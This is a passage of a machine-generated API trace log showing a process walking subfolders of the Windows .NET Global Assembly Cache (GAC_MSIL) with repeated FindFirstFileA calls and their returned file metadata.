ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.432] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Editor\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74cf9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74cf9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.437] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Editor\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74f5b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74f5b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.442] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Editor.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x74f5b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74f5b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.447] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Editor.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x74f5b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74f5b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.452] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GPowerShell\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74f5b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74f5b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.457] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GPowerShell\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x751bc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x751bc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.462] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GPowerShell.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x751bc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x751bc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GPowerShell.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x751bc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x751bc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GraphicalHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7541dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7541dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GraphicalHost\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7541dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7541dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.487] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GraphicalHost.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7567f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7567f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.492] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.GraphicalHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7567f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7567f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.497] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7567f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7567f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.502] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x758e080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x758e080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.506] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x758e080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x758e080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.511] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x758e080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x758e080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75b41e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75b41e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.521] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75b41e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75b41e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.526] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75b41e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75b41e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.531] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75da340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75da340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75da340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75da340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.542] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75da340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75da340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.548] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x75da340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x75da340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.553] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x76004a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x76004a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.561] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x76004a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x76004a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.566] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7626600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7626600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.571] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7626600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7626600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.581] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7626600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7626600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.823] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7887c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7887c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.831] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x78add60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78add60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.837] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x78add60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78add60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.842] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x78add60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78add60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.848] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x78d3ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78d3ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.853] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x78d3ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78d3ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.858] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.SharePoint.BusinessData.Administration.Client.Intl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa626ead0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78fa020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78fa020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.864] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.SharePoint.BusinessData.Administration.Client.Intl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56856b50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78fa020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78fa020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.869] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Synchronization.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa64a9f70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78fa020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x78fa020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.875] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Synchronization.Data\\1.0.0.0__89845dcd8080cc91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6193ae30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7920180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7920180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.880] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Synchronization.Data.Server\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa64d00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7920180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7920180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.885] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Synchronization.Data.Server\\1.0.0.0__89845dcd8080cc91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7920180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7920180, 